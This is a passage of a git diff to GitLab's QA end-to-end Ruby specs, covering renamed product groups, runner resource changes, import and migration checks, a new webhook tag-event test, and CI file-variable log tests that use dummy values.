+ shell("kubectl create secret generic #{secret_name} --from-literal=token='#{secret}'", mask_secrets: [secret])
end
def apply_manifest(manifest)
diff --git a/qa/qa/specs/features/api/1_manage/import/import_github_repo_spec.rb b/qa/qa/specs/features/api/1_manage/import/import_github_repo_spec.rb
index 27f9bcc9675..a10e95a860c 100644
--- a/qa/qa/specs/features/api/1_manage/import/import_github_repo_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/import/import_github_repo_spec.rb
@@ -9,10 +9,7 @@ module QA
context 'when imported via api' do
it 'imports project', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347670' do
- imported_project.reload! # import the project
-
- expect { imported_project.project_import_status[:import_status] }.to eventually_eq('finished')
- .within(max_duration: 240, sleep_interval: 1)
+ expect_project_import_finished_successfully
aggregate_failures do
verify_status_data
@@ -30,15 +27,18 @@ module QA
def verify_status_data
stats = imported_project.project_import_status.dig(:stats, :imported)
- expect(stats).to include(
+ expect(stats).to eq(
issue: 1,
+ issue_event: 16,
+ pull_request: 1,
+ pull_request_review: 2,
+ pull_request_review_request: 1,
+ diff_note: 1,
label: 9,
milestone: 1,
note: 3,
- pull_request: 1,
- pull_request_review: 1,
- diff_note: 1,
- release: 1
+ release: 1,
+ protected_branch: 2
)
end
@@ -154,7 +154,10 @@ module QA
[
"*Created by: gitlab-qa-github*\n\n**Review:** Commented\n\nGood but needs some improvement",
"*Created by: gitlab-qa-github*\n\n```suggestion:-0+0\nProject for GitHub import test to GitLab\r\n```",
- "*Created by: gitlab-qa-github*\n\nSome test PR comment"
+ "*Created by: gitlab-qa-github*\n\nSome test PR comment",
+ "*Created by: gitlab-qa*\n\n**Review:** Approved",
+ "assigned to @#{user.username}",
+ "requested review from @#{user.username}"
]
)
expect(events).to match_array(
@@ -163,6 +166,19 @@ module QA
{ name: "add_milestone", label: "0.0.1" }
]
)
+ # TODO: reenable once https://gitlab.com/gitlab-org/gitlab/-/issues/386714 fixed
+ # currently this doesn't work as expected if reviewer is not matched by public email
+ # event for assigning approver is created with reviewer being user doing import but mr actually doesn't
+ # contain reviewers or the approved state
+ #
+ # reviews = merge_request.reviews.map do |review|
+ # {
+ # id: review.dig(:user, :id),
+ # username: review.dig(:user, :username),
+ # state: review[:state]
+ # }
+ # end
+ # expect(reviews).to eq([{ id: user.id, username: user.username, state: "approved" }])
end
def verify_release_import
@@ -183,7 +199,7 @@ module QA
# @param [QA::Resource::Issuable] issuable
# @return [Array]
def fetch_events_and_comments(issuable)
- comments = issuable.comments.map { |comment| comment[:body] }
+ comments = issuable.comments.pluck(:body)
events = [
*issuable.label_events.map { |e| { name: "#{e[:action]}_label", label: e.dig(:label, :name) } },
*issuable.state_events.map { |e| { name: e[:state] } },
diff --git a/qa/qa/specs/features/api/1_manage/integrations/webhook_events_spec.rb b/qa/qa/specs/features/api/1_manage/integrations/webhook_events_spec.rb
index a2d66ffe8d3..fb530967073 100644
--- a/qa/qa/specs/features/api/1_manage/integrations/webhook_events_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/integrations/webhook_events_spec.rb
@@ -8,10 +8,11 @@ module QA
end
after(:context) do
- Vendor::Smocker::SmockerApi.teardown!
+ Service::DockerRun::Smocker.teardown!
end
let(:session) { SecureRandom.hex(5) }
+ let(:tag_name) { SecureRandom.hex(5) }
it 'sends a push event', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/348945' do
setup_webhook(push: true) do |webhook, smocker|
@@ -71,7 +72,7 @@ module QA
end
it 'sends an issues and note event',
- testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/349723' do
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/349723' do
setup_webhook(issues: true, note: true) do |webhook, smocker|
issue = Resource::Issue.fabricate_via_api! do |issue_init|
issue_init.project = webhook.project
@@ -98,10 +99,36 @@ module QA
end
end
+ it 'sends a tag event',
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/383577' do
+ setup_webhook(tag_push: true) do |webhook, smocker|
+ project_push = Resource::Repository::ProjectPush.fabricate! do |project_push|
+ project_push.project = webhook.project
+ end
+
+ Resource::Tag.fabricate_via_api! do |tag|
+ tag.project = project_push.project
+ tag.ref = project_push.branch_name
+ tag.name = tag_name
+ end
+
+ wait_until do
+ smocker.history(session).size == 1
+ end
+
+ events = smocker.history(session).map(&:as_hook_event)
+ aggregate_failures do
+ expect(events.size).to be(1), "Should have 1 event: \n#{events.map(&:raw).join("\n")}"
+ expect(events[0].project_name).to eql(webhook.project.name)
+ expect(events[0].tag?).to be(true), "Not tag event: \n#{events[0].raw}"
+ end
+ end
+ end
+
private
def setup_webhook(**event_args)
- Vendor::Smocker::SmockerApi.init(wait: 10) do |smocker|
+ Service::DockerRun::Smocker.init(wait: 10) do |smocker|
smocker.register(session: session)
webhook = Resource::ProjectWebHook.fabricate_via_api! do |hook|
diff --git a/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_issue_spec.rb b/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_issue_spec.rb
index dd2e7f06995..052e3d0e32d 100644
--- a/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_issue_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_issue_spec.rb
@@ -52,6 +52,32 @@ module QA
end
end
+ context 'with associated merge request' do
+ let!(:source_mr) do
+ Resource::MergeRequest.fabricate_via_api! do |mr|
+ mr.project = source_project
+ mr.api_client = source_admin_api_client
+ mr.description = "Closes #{source_issue.web_url}"
+ end
+ end
+
+ let(:imported_related_mrs) do
+ imported_issue.related_merge_requests.pluck(:iid)
+ end
+
+ it(
+ 'preserves related merge request',
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/386305',
+ quarantine: {
+ type: :bug,
+ issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/386308'
+ }
+ ) do
+ expect_project_import_finished_successfully
+ expect(imported_related_mrs).to eq([source_mr.iid])
+ end
+ end
+
# we can't fabricate things in source instance via UI
context "with designs", quarantine: {
type: :broken,
diff --git a/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_large_project_spec.rb b/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_large_project_spec.rb
index 5fc170435e3..9ce028318c3 100644
--- a/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_large_project_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_large_project_spec.rb
@@ -15,7 +15,8 @@ module QA
let!(:gitlab_source_project) { ENV["QA_LARGE_IMPORT_REPO"] || "migration-test-project" }
let!(:import_wait_duration) { { max_duration: (ENV["QA_LARGE_IMPORT_DURATION"] || 3600).to_i, sleep_interval: 30 } }
- let!(:source_admin_user) { "no-op" }
+ # test uses production as source which doesn't have actual admin user
+ let!(:source_admin_user) { nil }
let!(:source_admin_api_client) do
Runtime::API::Client.new(
source_gitlab_address,
@@ -227,8 +228,8 @@ module QA
comment_diff = verify_comments(type, actual, expected)
{
- "missing_#{type}s": (expected.keys - actual.keys).map { |it| expected[it]&.slice(:title, :url) }.compact,
- "extra_#{type}s": (actual.keys - expected.keys).map { |it| actual[it]&.slice(:title, :url) }.compact,
+ "missing_#{type}s": (expected.keys - actual.keys).filter_map { |it| expected[it]&.slice(:title, :url) },
+ "extra_#{type}s": (actual.keys - expected.keys).filter_map { |it| actual[it]&.slice(:title, :url) },
"#{type}_comments": comment_diff
}
end
diff --git a/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_project_spec.rb b/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_project_spec.rb
index 83691cdf143..9f6b1d38bd7 100644
--- a/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_project_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/migration/gitlab_migration_project_spec.rb
@@ -6,11 +6,7 @@ module QA
include_context 'with gitlab project migration'
# this spec is used as a sanity test for gitlab migration because it can run outside of orchestrated setup
- context 'with import within same instance', orchestrated: false, import: false, quarantine: {
- type: :test_environment,
- issue: "https://gitlab.com/gitlab-org/gitlab/-/issues/383605",
- only: { job: "review-qa" }
- } do
+ context 'with import within same instance', orchestrated: false, import: false do
let!(:source_project_with_readme) { true }
let!(:source_gitlab_address) { Runtime::Scenario.gitlab_address }
let!(:source_admin_api_client) { admin_api_client }
diff --git a/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb b/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb
index e210ba882bb..d693bbd43ff 100644
--- a/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/project_access_token_spec.rb
@@ -5,14 +5,16 @@ module QA
describe 'Project access token', product_group: :authentication_and_authorization do
before(:all) do
@project_access_token = QA::Resource::ProjectAccessToken.fabricate_via_api! do |pat|
- pat.project = Resource::ReusableProject.fabricate_via_api!
+ pat.project = Resource::Project.fabricate_via_api! do |project|
+ project.initialize_with_readme = true
+ end
end
@user_api_client = Runtime::API::Client.new(:gitlab, personal_access_token: @project_access_token.token)
end
context 'for the same project' do
- it 'can be used to create a file via the project API', :reliable, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347858' do
+ it 'can be used to create a file via the project API', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347858' do
expect do
Resource::File.fabricate_via_api! do |file|
file.api_client = @user_api_client
@@ -44,7 +46,7 @@ module QA
@different_project = Resource::Project.fabricate!
end
- it 'cannot be used to create a file via the project API', :reliable, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347860' do
+ it 'cannot be used to create a file via the project API', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347860' do
expect do
Resource::File.fabricate_via_api! do |file|
file.api_client = @user_api_client
@@ -57,7 +59,7 @@ module QA
end.to raise_error(Resource::ApiFabricator::ResourceFabricationFailedError, /403 Forbidden/)
end
- it 'cannot be used to commit via the API', :reliable, testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347861' do
+ it 'cannot be used to commit via the API', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347861' do
expect do
Resource::Repository::Commit.fabricate_via_api! do |commit|
commit.api_client = @user_api_client
diff --git a/qa/qa/specs/features/api/1_manage/user_inherited_access_spec.rb b/qa/qa/specs/features/api/1_manage/user_inherited_access_spec.rb
index 3df6e988bfa..ad1abe6e5e9 100644
--- a/qa/qa/specs/features/api/1_manage/user_inherited_access_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/user_inherited_access_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Manage' do
- describe 'User', :requires_admin, product_group: :workspace do
+ describe 'User', :requires_admin, product_group: :organization do
let(:admin_api_client) { Runtime::API::Client.as_admin }
let!(:sub_group) do
diff --git a/qa/qa/specs/features/api/1_manage/users_spec.rb b/qa/qa/specs/features/api/1_manage/users_spec.rb
index ff036c18671..08e1b7a1e0c 100644
--- a/qa/qa/specs/features/api/1_manage/users_spec.rb
+++ b/qa/qa/specs/features/api/1_manage/users_spec.rb
@@ -4,7 +4,7 @@ require 'airborne'
module QA
RSpec.describe 'Manage' do
- describe 'Users API', :reliable, product_group: :workspace do
+ describe 'Users API', :reliable, product_group: :organization do
let(:api_client) { Runtime::API::Client.new(:gitlab) }
let(:request) { Runtime::API::Request.new(api_client, '/users') }
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb
index a1060c1d890..fc00d851087 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb
@@ -10,8 +10,11 @@ module QA
let(:branch) { "push-options-test-#{SecureRandom.hex(8)}" }
let(:title) { "MR push options test #{SecureRandom.hex(8)}" }
let(:commit_message) { 'Add README.md' }
-
- let(:project) { Resource::ReusableProject.fabricate_via_api! }
+ let(:project) do
+ Resource::Project.fabricate_via_api! do |project|
+ project.initialize_with_readme = true
+ end
+ end
def create_new_mr_via_push
Resource::Repository::ProjectPush.fabricate! do |push|
diff --git a/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb b/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb
index 0a82c5d6736..9fed6787ade 100644
--- a/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb
+++ b/qa/qa/specs/features/api/3_create/merge_request/push_options_mwps_spec.rb
@@ -18,7 +18,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = "runner-for-#{project.name}"
runner.tags = ["runner-for-#{project.name}"]
diff --git a/qa/qa/specs/features/api/4_verify/file_variable_spec.rb b/qa/qa/specs/features/api/4_verify/file_variable_spec.rb
index 6d375341c1b..bd0ec13b1f8 100644
--- a/qa/qa/specs/features/api/4_verify/file_variable_spec.rb
+++ b/qa/qa/specs/features/api/4_verify/file_variable_spec.rb
@@ -1,10 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Verify', :runner, product_group: :pipeline_authoring, quarantine: {
- issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/383324',
- type: :stale
- } do
+ RSpec.describe 'Verify', :runner, product_group: :pipeline_authoring do
describe 'Pipeline with project file variables' do
let(:executor) { "qa-runner-#{Faker::Alphanumeric.alphanumeric(number: 8)}" }
@@ -15,7 +12,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
@@ -31,19 +28,26 @@ module QA
{
file_path: '.gitlab-ci.yml',
content: <<~YAML
+ default:
+ tags: [#{executor}]
+
variables:
EXTRA_ARGS: "-f $TEST_FILE"
DOCKER_REMOTE_ARGS: --tlscacert="$DOCKER_CA_CERT"
EXTRACTED_CRT_FILE: ${DOCKER_CA_CERT}.crt
MY_FILE_VAR: $TEST_FILE
- test:
- tags: [#{executor}]
+ job_echo:
script:
- echo "run something $EXTRA_ARGS"
- echo "docker run $DOCKER_REMOTE_ARGS"
- echo "run --output=$EXTRACTED_CRT_FILE"
- echo "Will read private key from $MY_FILE_VAR"
+
+ job_cat:
+ script:
+ - cat "$MY_FILE_VAR"
+ - cat "$DOCKER_CA_CERT"
YAML
}
]
@@ -53,8 +57,8 @@ module QA
let(:add_file_variables) do
{
- 'TEST_FILE' => 'hello, this is test',
- 'DOCKER_CA_CERT' => 'This is secret'
+ 'TEST_FILE' => "hello, this is test\n",
+ 'DOCKER_CA_CERT' => "This is secret\n"
}.each do |file_name, content|
add_file_variable_to_project(file_name, content)
end
@@ -71,18 +75,37 @@ module QA
runner.remove_via_api!
end
- it 'shows in job log accordingly', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/370791' do
+ it(
+ 'does not expose file variable content with echo',
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/370791'
+ ) do
+ job = Resource::Job.fabricate_via_api! do |job|
+ job.project = project
+ job.id = project.job_by_name('job_echo')[:id]
+ end
+
+ aggregate_failures do
+ trace = job.trace
+ expect(trace).to include('run something -f', "#{project.name}.tmp/TEST_FILE")
+ expect(trace).to include('docker run --tlscacert=', "#{project.name}.tmp/DOCKER_CA_CERT")
+ expect(trace).to include('run --output=', "#{project.name}.tmp/DOCKER_CA_CERT.crt")
+ expect(trace).to include('Will read private key from', "#{project.name}.tmp/TEST_FILE")
+ end
+ end
+
+ it(
+ 'can read file variable content with cat',
+ testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/386409'
+ ) do
job = Resource::Job.fabricate_via_api! do |job|
job.project = project
- job.id = project.job_by_name('test')[:id]
+ job.id = project.job_by_name('job_cat')[:id]
end
aggregate_failures do
trace = job.trace
- expect(trace).to have_content('run something -f hello, this is test')
- expect(trace).to have_content('docker run --tlscacert="This is secret"')
- expect(trace).to have_content('run --output=This is secret.crt')
- expect(trace).to have_content('Will read private key from hello, this is test')
+ expect(trace).to have_content('hello, this is test')
+ expect(trace).to have_content('This is secret')
end
end
diff --git a/qa/qa/specs/features/api/4_verify/remove_runner_spec.rb b/qa/qa/specs/features/api/4_verify/remove_runner_spec.rb
deleted file mode 100644
index 7aaaa7137ed..00000000000
--- a/qa/qa/specs/features/api/4_verify/remove_runner_spec.rb
+++ /dev/null
@@ -1,33 +0,0 @@
-# frozen_string_literal: true
-
-module QA
- RSpec.describe 'Verify', :runner, product_group: :runner do
- describe 'Runner removal' do
- include Support::API
-
- let(:api_client) { Runtime::API::Client.new(:gitlab) }
- let(:executor) { "qa-runner-#{Time.now.to_i}" }
- let(:runner_tags) { ["runner-registration-e2e-test-#{Faker::Alphanumeric.alphanumeric(number: 8)}"] }
- let!(:runner) do
- Resource::Runner.fabricate! do |runner|
- runner.name = executor
- runner.tags = runner_tags
- end
- end
-
- # Removing a runner via the UI is covered by `spec/features/runners_spec.rb``
- it 'removes the runner', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/354828' do
- runners_list = runner.runners_list
- expect(runners_list.size).to eq(1)
- expect(runners_list.first[:description]).to eq(executor)
-
- request = Runtime::API::Request.new(api_client, "runners/#{runner.id}")
- response = delete(request.url)
- expect(response.code).to eq(Support::API::HTTP_STATUS_NO_CONTENT)
- expect(response.body).to be_empty
-
- expect(runner).to be_not_found_by_tags
- end
- end
- end
-end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
index 8fe4dc192bd..b2ccacfd142 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_group_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Manage' do
- describe 'Subgroup transfer', product_group: :workspace do
+ describe 'Subgroup transfer', product_group: :organization do
let(:source_group) do
Resource::Group.fabricate_via_api! do |group|
group.path = "source-group-for-transfer_#{SecureRandom.hex(8)}"
diff --git a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb
index d684eabe644..ef05f4cfecf 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/group/transfer_project_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Manage' do
- describe 'Project transfer between groups', :reliable, product_group: :workspace do
+ describe 'Project transfer between groups', :reliable, product_group: :organization do
let(:source_group) do
Resource::Group.fabricate_via_api! do |group|
group.path = "source-group-#{SecureRandom.hex(8)}"
diff --git a/qa/qa/specs/features/browser_ui/1_manage/integrations/pipeline_status_emails_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/integrations/pipeline_status_emails_spec.rb
index 4495d83f336..da49573b960 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/integrations/pipeline_status_emails_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/integrations/pipeline_status_emails_spec.rb
@@ -36,7 +36,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = executor
runner.tags = [executor]
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb
index 3f461e9247f..50e86b4d555 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/add_project_member_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Manage', :reliable, product_group: :workspace do
+ RSpec.describe 'Manage', :reliable, product_group: :organization do
describe 'Add project member' do
it 'user adds project member', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347887' do
Flow::Login.sign_in
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_badge_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_badge_spec.rb
index b251b3075dd..0a643d1e33b 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_badge_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_badge_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Manage' do
- describe 'Create project badge', :reliable, product_group: :workspace do
+ describe 'Create project badge', :reliable, product_group: :organization do
let(:badge_name) { "project-badge-#{SecureRandom.hex(8)}" }
let(:expected_badge_link_url) { "#{Runtime::Scenario.gitlab_address}/#{project.path_with_namespace}" }
let(:expected_badge_image_url) { "#{Runtime::Scenario.gitlab_address}/#{project.path_with_namespace}/badges/main/pipeline.svg" }
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
index 686cc8fe11e..c9e90cce84c 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Manage', :smoke, product_group: :workspace do
+ RSpec.describe 'Manage', :smoke, product_group: :organization do
describe 'Project' do
shared_examples 'successful project creation' do
it 'creates a new project' do
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
index 2abbb6ca73c..e609dfb9197 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/dashboard_images_spec.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Manage', product_group: :workspace do
+ RSpec.describe 'Manage', product_group: :organization do
shared_examples 'loads all images' do |admin|
let(:api_client) { Runtime::API::Client.as_admin }
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/invite_group_to_project_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/invite_group_to_project_spec.rb
index 164f86bffce..4479f2ebfab 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/invite_group_to_project_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/invite_group_to_project_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Manage' do
- describe 'Invite group', :reliable, product_group: :workspace do
+ describe 'Invite group', :reliable, product_group: :organization do
shared_examples 'invites group to project' do
it 'verifies group is added and members can access project with correct access level' do
Page::Project::Menu.perform(&:click_members)
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/project_owner_permissions_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/project_owner_permissions_spec.rb
index 98a08dd0d9a..59774ed7c49 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/project_owner_permissions_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/project_owner_permissions_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Manage' do
- describe 'Project owner permissions', :reliable, product_group: :workspace do
+ describe 'Project owner permissions', :reliable, product_group: :organization do
let!(:owner) do
Resource::User.fabricate_or_use(Runtime::Env.gitlab_qa_username_1, Runtime::Env.gitlab_qa_password_1)
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
index 33ca5f6009c..95305b7a4aa 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Manage' do
- describe 'Project activity', :reliable, product_group: :workspace do
+ describe 'Project activity', :reliable, product_group: :organization do
it 'user creates an event in the activity page upon Git push',
testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347879' do
Flow::Login.sign_in
diff --git a/qa/qa/specs/features/browser_ui/1_manage/user/follow_user_activity_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/user/follow_user_activity_spec.rb
index b9b82baa6f1..94b383a746d 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/user/follow_user_activity_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/user/follow_user_activity_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Manage' do
- describe 'User', :requires_admin, product_group: :workspace do
+ describe 'User', :requires_admin, product_group: :organization do
let(:admin_api_client) { Runtime::API::Client.as_admin }
let(:followed_user_api_client) { Runtime::API::Client.new(:gitlab, user: followed_user) }
diff --git a/qa/qa/specs/features/browser_ui/1_manage/user/parent_group_access_termination_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/user/parent_group_access_termination_spec.rb
index 6bc695487ee..7caa6677787 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/user/parent_group_access_termination_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/user/parent_group_access_termination_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Manage' do
- describe 'User', :requires_admin, :reliable, product_group: :workspace do
+ describe 'User', :requires_admin, :reliable, product_group: :organization do
let(:admin_api_client) { Runtime::API::Client.as_admin }
let!(:user) do
@@ -34,6 +34,7 @@ module QA
Page::Group::Menu.perform(&:click_subgroup_members_item)
Page::Group::Members.perform do |members_page|
+ members_page.search_member(user.username)
members_page.remove_member(user.username)
end
end
diff --git a/qa/qa/specs/features/browser_ui/1_manage/user/user_inherited_access_spec.rb b/qa/qa/specs/features/browser_ui/1_manage/user/user_inherited_access_spec.rb
index b7585f00630..9bb08cb66bc 100644
--- a/qa/qa/specs/features/browser_ui/1_manage/user/user_inherited_access_spec.rb
+++ b/qa/qa/specs/features/browser_ui/1_manage/user/user_inherited_access_spec.rb
@@ -2,7 +2,7 @@
module QA
RSpec.describe 'Manage' do
- describe 'User', :requires_admin, product_group: :workspace do
+ describe 'User', :requires_admin, product_group: :organization do
let(:admin_api_client) { Runtime::API::Client.as_admin }
let!(:sub_group) do
diff --git a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb
index 257021b158a..1b82543a5d4 100644
--- a/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/merge_request/merge_when_pipeline_succeeds_spec.rb
@@ -14,7 +14,7 @@ module QA
end
let!(:runner) do
- Resource::Runner.fabricate! do |runner|
+ Resource::ProjectRunner.fabricate! do |runner|
runner.project = project
runner.name = runner_name
runner.tags = [runner_name]
diff --git a/qa/qa/specs/features/browser_ui/3_create/pages/new_static_page_spec.rb b/qa/qa/specs/features/browser_ui/3_create/pages/new_static_page_spec.rb
index 449bffe61e0..a214af19fca 100644
--- a/qa/qa/specs/features/browser_ui/3_create/pages/new_static_page_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/pages/new_static_page_spec.rb
@@ -9,7 +9,8 @@ module QA
issue: 'https://gitlab.com/gitlab-org/gitlab/-/issues/383215',
type: :test_environment,
only: { subdomain: 'staging-ref' }
- } do
+ },
+ feature_flag: { name: 'show_pages_in_deployments_menu' } do
# TODO: Convert back to :smoke once proved to be stable. Related issue: https://gitlab.com/gitlab-org/gitlab/-/issues/300906
describe 'Pages', product_group: :editor do
let!(:project) do
@@ -29,14 +30,21 @@ module QA
end
before do
+ # Pages Menu Experiment currently progress https://gitlab.com/gitlab-org/gitlab/-/merge_requests/98044
+ # Update spec along with Feature Flag Removal.
+ Runtime::Feature.disable(:show_pages_in_deployments_menu)
Flow::Login.sign_in
- Resource::Runner.fabricate_via_api! do |runner|
+ Resource::ProjectRunner.fabricate_via_api! do |runner|
runner.project = project
runner.executor = :docker
end
pipeline.visit!
end
+ after do
+ Runtime::Feature.enable(:show_pages_in_deployments_menu)
+ end
+
it 'creates a Pages website',
testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347669' do
Page::Project::Pipeline::Show.perform do |show|
diff --git a/qa/qa/specs/features/browser_ui/3_create/project_wiki/project_based_page_deletion_spec.rb b/qa/qa/specs/features/browser_ui/3_create/project_wiki/project_based_page_deletion_spec.rb
index 626f9a7d593..fef6b8ad65f 100644
--- a/qa/qa/specs/features/browser_ui/3_create/project_wiki/project_based_page_deletion_spec.rb
+++ b/qa/qa/specs/features/browser_ui/3_create/project_wiki/project_based_page_deletion_spec.rb
@@ -1,23 +1,23 @@
# frozen_string_literal: true
module QA
- RSpec.describe 'Create', product_group: :editor do
- describe 'Testing project wiki'
- let(:initial_wiki) { Resource::Wiki::ProjectPage.fabricate_via_api! }
+ RSpec.describe 'Create' do
+ describe 'Testing project wiki', product_group: :editor do
+ let(:initial_wiki) { Resource::Wiki::ProjectPage.fabricate_via_api! }
- before do
- Flow::Login.sign_in
- end
+ before do
+ Flow::Login.sign_in
+ end
- it 'can delete a page',
- testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347815' do
- initial_wiki.visit!
+ it 'can delete a page', testcase: 'https://gitlab.com/gitlab-org/gitlab/-/quality/test_cases/347815' do
+ initial_wiki.visit!
- Page::Project::Wiki::Show.perform(&:click_edit)
- Page::Project::Wiki::Edit.perform(&:delete_page)
